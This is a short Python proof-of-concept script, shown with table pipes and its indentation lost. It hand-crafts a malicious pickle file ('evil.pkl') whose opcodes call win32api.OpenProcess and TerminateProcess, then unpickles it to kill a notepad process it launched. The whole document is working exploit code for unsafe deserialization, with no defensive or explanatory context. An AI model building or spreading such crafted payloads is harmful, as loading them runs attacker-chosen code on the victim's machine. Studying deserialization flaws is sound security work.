| import pathlib, subprocess, time | |
| proc=subprocess.Popen(['notepad.exe']); time.sleep(0.5); pid=proc.pid | |
| def G(m,n): return b'c'+m.encode()+b'\n'+n.encode()+b'\n' | |
| def I(n): | |
| if 0<=n<256: return b'K'+bytes([n]) | |
| return b'J'+int(n).to_bytes(4,'little',signed=True) | |
| data=(b'\x80\x02'+G('win32api','OpenProcess')+b'('+I(1)+b'\x89'+I(pid)+b'tR\x94' | |
| +G('win32api','TerminateProcess')+b'('+b'h\x00'+I(1)+b'tR.') | |
| p=pathlib.Path(__file__).with_name('evil.pkl'); p.write_bytes(data); print('pid',pid,'wrote',p) | |
| import pickle; pickle.loads(data); time.sleep(0.4); print('poll',proc.poll()) | |